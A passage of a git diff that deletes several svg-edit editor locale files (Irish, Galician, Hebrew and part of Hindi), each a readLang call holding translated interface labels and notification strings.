-		"align_right": "Ailínigh ar Dheis",
-		"align_top": "Cineál Barr",
-		"mode_select": "Roghnaigh Uirlis",
-		"mode_fhpath": "Phionsail Uirlis",
-		"mode_line": "Uirlis Líne",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Saor Hand Dronuilleog",
-		"mode_ellipse": "Éilips",
-		"mode_circle": "Ciorcal",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Téacs Uirlis",
-		"mode_image": "Íomhá Uirlis",
-		"mode_zoom": "Zúmáil Uirlis",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Cealaigh",
-		"redo": "Athdhéan",
-		"tool_source": "Cuir Foinse",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Eilimintí Grúpa",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Eilimintí Díghrúpáil",
-		"docprops": "Doiciméad Airíonna",
-		"imagelib": "Image Library",
-		"move_bottom": "Téigh go Bun",
-		"move_top": "Téigh go Barr",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Sábháil",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Scrios Sraith",
-		"move_down": "Bog Sraith Síos",
-		"new": "Sraith Nua",
-		"rename": "Athainmnigh Sraith",
-		"move_up": "Bog Sraith Suas",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Roghnaigh réamhshainithe:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.gl.js b/public/svg-edit/editor/locale/lang.gl.js
deleted file mode 100644
index c7be0c9c..00000000
--- a/public/svg-edit/editor/locale/lang.gl.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "gl",
-	dir : "ltr",
-	common: {
-		"ok": "Gardar",
-		"cancel": "Cancelar",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Preme aquí para cambiar a cor de recheo, Shift-clic para cambiar a cor do curso",
-		"zoom_level": "Cambiar o nivel de zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Cambia-la cor de recheo",
-		"stroke_color": "Cambiar a cor do curso",
-		"stroke_style": "Modifica o estilo do trazo do curso",
-		"stroke_width": "Cambiar o ancho do curso",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Cambiar o ángulo de xiro",
-		"blur": "Change gaussian blur value",
-		"opacity": "Cambia a opacidade elemento seleccionado",
-		"circle_cx": "Cx Cambiar círculo de coordenadas",
-		"circle_cy": "Círculo Cambio cy coordinar",
-		"circle_r": "Cambiar círculo de raio",
-		"ellipse_cx": "Cambiar elipse cx coordinar",
-		"ellipse_cy": "Elipse Cambio cy coordinar",
-		"ellipse_rx": "Raios X Change elipse",
-		"ellipse_ry": "Radio y Change elipse",
-		"line_x1": "Cambie a liña de partida coordenada x",
-		"line_x2": "Cambie a liña acaba coordenada x",
-		"line_y1": "Cambio na liña do recurso coordinada y",
-		"line_y2": "Salto de liña acaba coordinada y",
-		"rect_height": "Cambiar altura do rectángulo",
-		"rect_width": "Cambiar a largo rectángulo",
-		"corner_radius": "Cambiar Corner Rectangle Radius",
-		"image_width": "Cambiar o ancho da imaxe",
-		"image_height": "Cambiar altura da imaxe",
-		"image_url": "Cambiar URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Cambiar o contido de texto",
-		"font_family": "Cambiar fonte Familia",
-		"font_size": "Mudar tamaño de letra",
-		"bold": "Bold Text",
-		"italic": "Texto en cursiva"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Mudar a cor de fondo / Opacidade",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Axustar ó contido",
-		"fit_to_all": "Axustar a todo o contido",
-		"fit_to_canvas": "Axustar a pantalla",
-		"fit_to_layer_content": "Axustar o contido da capa de",
-		"fit_to_sel": "Axustar a selección",
-		"align_relative_to": "Aliñar en relación a ...",
-		"relativeTo": "en relación ao:",
-		"Portada": "Portada",
-		"largest_object": "maior obxecto",
-		"selected_objects": "obxectos elixidos",
-		"smallest_object": "menor obxecto",
-		"new_doc": "Nova Imaxe",
-		"open_doc": "Abrir Imaxe",
-		"export_png": "Export as PNG",
-		"save_doc": "Gardar Imaxe",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align bottom",
-		"align_center": "Centrar",
-		"align_left": "Aliñar á Esquerda",
-		"align_middle": "Aliñar Medio",
-		"align_right": "Aliñar á Dereita",
-		"align_top": "Align Top",
-		"mode_select": "Seleccionar a ferramenta",
-		"mode_fhpath": "Ferramenta Lapis",
-		"mode_line": "Ferramenta Liña",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Elipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Ferramenta de Texto",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Desfacer",
-		"redo": "Volver",
-		"tool_source": "Fonte Editar",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Elementos do grupo",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Elementos Desagrupadas",
-		"docprops": "Propriedades do Documento",
-		"imagelib": "Image Library",
-		"move_bottom": "Move a Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Gardar",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move capa inferior",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Seleccione por defecto:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.he.js b/public/svg-edit/editor/locale/lang.he.js
deleted file mode 100755
index 555c9f75..00000000
--- a/public/svg-edit/editor/locale/lang.he.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "he",
-	dir : "ltr",
-	common: {
-		"ok": "לשמור",
-		"cancel": "ביטול",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "לחץ כדי לשנות צבע מילוי, לחץ על Shift-לשנות צבע שבץ",
-		"zoom_level": "שינוי גודל תצוגה",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "שינוי צבע מילוי",
-		"stroke_color": "שינוי צבע שבץ",
-		"stroke_style": "דש שבץ שינוי סגנון",
-		"stroke_width": "שינוי רוחב שבץ",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "שינוי זווית הסיבוב",
-		"blur": "Change gaussian blur value",
-		"opacity": "שינוי הפריט הנבחר אטימות",
-		"circle_cx": "CX מעגל של שנה לתאם",
-		"circle_cy": "מעגל שנה של cy לתאם",
-		"circle_r": "מעגל שנה של רדיוס",
-		"ellipse_cx": "שינוי של אליפסה CX לתאם",
-		"ellipse_cy": "אליפסה שינוי של cy לתאם",
-		"ellipse_rx": "אליפסה שינוי של רדיוס x",
-		"ellipse_ry": "אליפסה שינוי של Y רדיוס",
-		"line_x1": "שינוי קו ההתחלה של x לתאם",
-		"line_x2": "שינוי קו הסיום של x לתאם",
-		"line_y1": "שינוי קו ההתחלה של Y לתאם",
-		"line_y2": "שינוי קו הסיום של Y לתאם",
-		"rect_height": "שינוי גובה המלבן",
-		"rect_width": "שינוי רוחב המלבן",
-		"corner_radius": "לשנות מלבן פינת רדיוס",
-		"image_width": "שינוי רוחב התמונה",
-		"image_height": "שינוי גובה התמונה",
-		"image_url": "שינוי כתובת",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "שינוי תוכן טקסט",
-		"font_family": "שינוי גופן משפחה",
-		"font_size": "שנה גודל גופן",
-		"bold": "טקסט מודגש",
-		"italic": "טקסט נטוי"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "שנה את צבע הרקע / אטימות",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "התאם תוכן",
-		"fit_to_all": "התאם התכנים",
-		"fit_to_canvas": "התאם בד",
-		"fit_to_layer_content": "מתאים לתוכן שכבת",
-		"fit_to_sel": "התאם הבחירה",
-		"align_relative_to": "יישור ביחס ...",
-		"relativeTo": "יחסית:",
-		"דף": "דף",
-		"largest_object": "האובייקט הגדול",
-		"selected_objects": "elected objects",
-		"smallest_object": "הקטן אובייקט",
-		"new_doc": "תמונה חדשה",
-		"open_doc": "פתח תמונה",
-		"export_png": "Export as PNG",
-		"save_doc": "שמור תמונה",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "יישור תחתון",
-		"align_center": "ישור לאמצע",
-		"align_left": "יישור לשמאל",
-		"align_middle": "יישור התיכון",
-		"align_right": "יישור לימין",
-		"align_top": "יישור למעלה",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "כלי העיפרון",
-		"mode_line": "כלי הקו",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand מלבן",
-		"mode_ellipse": "אליפסה",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand אליפסה",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "כלי טקסט",
-		"mode_image": "כלי תמונה",
-		"mode_zoom": "זום כלי",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "בטל",
-		"redo": "בצע שוב",
-		"tool_source": "מקור ערוך",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "אלמנטים הקבוצה",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "אלמנטים פרק קבוצה",
-		"docprops": "מאפייני מסמך",
-		"imagelib": "Image Library",
-		"move_bottom": "הזז למטה",
-		"move_top": "עבור לראש הדף",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "לשמור",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "מחיקת שכבה",
-		"move_down": "הזז למטה שכבה",
-		"new": "שכבהחדשה",
-		"rename": "שינוי שם שכבה",
-		"move_up": "העבר שכבה Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "בחר מוגדרים מראש:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.hi.js b/public/svg-edit/editor/locale/lang.hi.js
deleted file mode 100644
index c495cd02..00000000
--- a/public/svg-edit/editor/locale/lang.hi.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "hi",
-	dir : "ltr",
-	common: {
-		"ok": "बचाना",
-		"cancel": "रद्द करें",
-		"key_backspace": "बैकस्पेस", 
-		"key_del": "हटायें", 
-		"key_down": "नीचे", 
-		"key_up": "ऊपर", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "रंग बदलने पर क्लिक करें, बदलाव भरने के क्लिक करने के लिए स्ट्रोक का रंग बदलने के लिए",
-		"zoom_level": "बदलें स्तर ज़ूम",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "बदलें का रंग भरना",
-		"stroke_color": "बदलें स्ट्रोक रंग",
-		"stroke_style": "बदलें स्ट्रोक डेश शैली",
-		"stroke_width": "बदलें स्ट्रोक चौड़ाई",
-		"pos_x": "X समकक्ष बदलें ",
-		"pos_y": "Y समकक्ष बदलें",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "बदलें रोटेशन कोण",
-		"blur": "Change gaussian blur value",
-		"opacity": "पारदर्शिता बदलें",
-		"circle_cx": "बदल रहा है चक्र cx समन्वय",
-		"circle_cy": "परिवर्तन चक्र cy समन्वय है",
-		"circle_r": "बदल रहा है चक्र त्रिज्या",
-		"ellipse_cx": "बदलें दीर्घवृत्त है cx समन्वय",
-		"ellipse_cy": "बदलें दीर्घवृत्त cy समन्वय है",
-		"ellipse_rx": "बदल रहा है दीर्घवृत्त x त्रिज्या",
-		"ellipse_ry": "बदल रहा है दीर्घवृत्त y त्रिज्या",
-		"line_x1": "बदल रहा है लाइन x समन्वय शुरू",
-		"line_x2": "बदल रहा है लाइन x समन्वय समाप्त",
-		"line_y1": "बदलें रेखा y शुरू हो रहा है समन्वय",
-		"line_y2": "बदलें रेखा y अंत है समन्वय",
-		"rect_height": "बदलें आयत ऊंचाई",
-		"rect_width": "बदलें आयत चौड़ाई",
-		"corner_radius": "बदलें आयत कॉर्नर त्रिज्या",
-		"image_width": "बदलें छवि चौड़ाई",
-		"image_height": "बदलें छवि ऊँचाई",
-		"image_url": "बदलें यूआरएल",
-		"node_x": "नोड का x समकक्ष बदलें",
-		"node_y": "नोड का y समकक्ष बदलें",
-		"seg_type": "वर्ग प्रकार बदलें",
-		"straight_segments": "सीधे वर्ग",
-		"curve_segments": "घुमाव",
-		"text_contents": "बदलें पाठ सामग्री",
-		"font_family": "बदलें फ़ॉन्ट परिवार",
-		"font_size": "फ़ॉन्ट का आकार बदलें",
-		"bold": "मोटा पाठ",
-		"italic": "इटैलिक पाठ"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "पृष्ठभूमि का रंग बदल / अस्पष्टता",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "सामग्री के लिए फिट",
-		"fit_to_all": "सभी सामग्री के लिए फिट",
-		"fit_to_canvas": "फिट कैनवास को",
-		"fit_to_layer_content": "फिट परत सामग्री के लिए",
-		"fit_to_sel": "चयन के लिए फिट",
-		"align_relative_to": "संरेखित करें रिश्तेदार को ...",
-		"relativeTo": "रिश्तेदार को:",
-		"पृष्ठ": "पृष्ठ",
-		"largest_object": "सबसे बड़ी वस्तु",
-		"selected_objects": "निर्वाचित वस्तुओं",
-		"smallest_object": "छोटी से छोटी वस्तु",
-		"new_doc": "नई छवि",
-		"open_doc": "छवि खोलें",
-		"export_png": "Export as PNG",
-		"save_doc": "सहेजें छवि",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "तलमेंपंक्तिबद्धकरें",
-		"align_center": "मध्य में समंजित करें",
-		"align_left": " पंक्तिबद्ध करें",
-		"align_middle": "मध्य संरेखित करें",
-		"align_right": "दायाँपंक्तिबद्धकरें",
-		"align_top": "शीर्षमेंपंक्तिबद्धकरें",
-		"mode_select": "उपकरण चुनें",
-		"mode_fhpath": "पेंसिल उपकरण",
-		"mode_line": "लाइन उपकरण",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "नि: शुल्क हाथ आयत",
-		"mode_ellipse": "दीर्घवृत्त",
-		"mode_circle": "वृत्त",
-		"mode_fhellipse": "नि: शुल्क हाथ दीर्घवृत्त",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "पाठ उपकरण",
-		"mode_image": "छवि उपकरण",
-		"mode_zoom": "ज़ूम उपकरण",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "पूर्ववत करें",
-		"redo": "फिर से करें",
-		"tool_source": "स्रोत में बदलाव करें",
-		"wireframe_mode": "रूपरेखा मोड",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "समूह तत्वों",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "पथ में बदलें",
-		"reorient_path": "पथ को नई दिशा दें",
-		"ungroup": "अंश को समूह से अलग करें",
-		"docprops": "दस्तावेज़ गुण",
-		"imagelib": "Image Library",
-		"move_bottom": "नीचे ले जाएँ",
-		"move_top": "ऊपर ले जाएँ",
-		"node_clone": "नोड क्लोन",
-		"node_delete": "नोड हटायें",
-		"node_link": "कड़ी नियंत्रण बिंदु",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "बचाना",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"हटायें": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"परत",
-		"layers": "Layers",
-		"del": "परत हटाएँ",
-		"move_down": "परत नीचे ले जाएँ",
-		"new": "नई परत",
-		"rename": "परत का नाम बदलें",
-		"move_up": "परत ऊपर ले जाएँ",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "अंश को ले जाएँ:",
-		"move_selected": "चयनित अंश को दूसरी परत पर  ले जाएँ"
-	},
-	config: {
-		"image_props": "छवि के गुण",
-		"doc_title": "शीर्षक",
-		"doc_dims": "कैनवास आयाम",
-		"included_images": "शामिल छवियाँ",
